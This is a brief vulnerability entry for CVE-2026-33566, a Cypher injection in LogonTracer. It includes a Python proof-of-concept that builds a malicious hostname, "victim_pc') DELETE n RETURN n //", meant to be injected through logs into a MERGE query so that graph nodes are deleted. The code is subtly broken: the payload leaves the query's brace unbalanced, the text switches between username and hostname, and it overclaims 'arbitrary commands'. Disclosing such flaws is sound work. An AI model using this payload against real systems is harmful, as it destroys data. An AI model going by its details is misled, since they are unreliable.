CVE-2026-33566 LogonTracer Cypher注入漏洞

# PoC Concept for CVE-2026-33566 # This demonstrates how a malicious username in a log could trigger injection. # Malicious payload intended to be injected into a Cypher query # Context: LogonTracer constructs a query like: # MERGE (n:Computer {name: '$HOSTNAME'}) # If $HOSTNAME is controlled by the attacker: malicious_hostname = "victim_pc') DELETE n RETURN n //" # The resulting query becomes: # MERGE (n:Computer {name: 'victim_pc') DELETE n RETURN n //'}) # This would delete the node or execute arbitrary commands. print(f"Generated malicious hostname payload: {malicious_hostname}")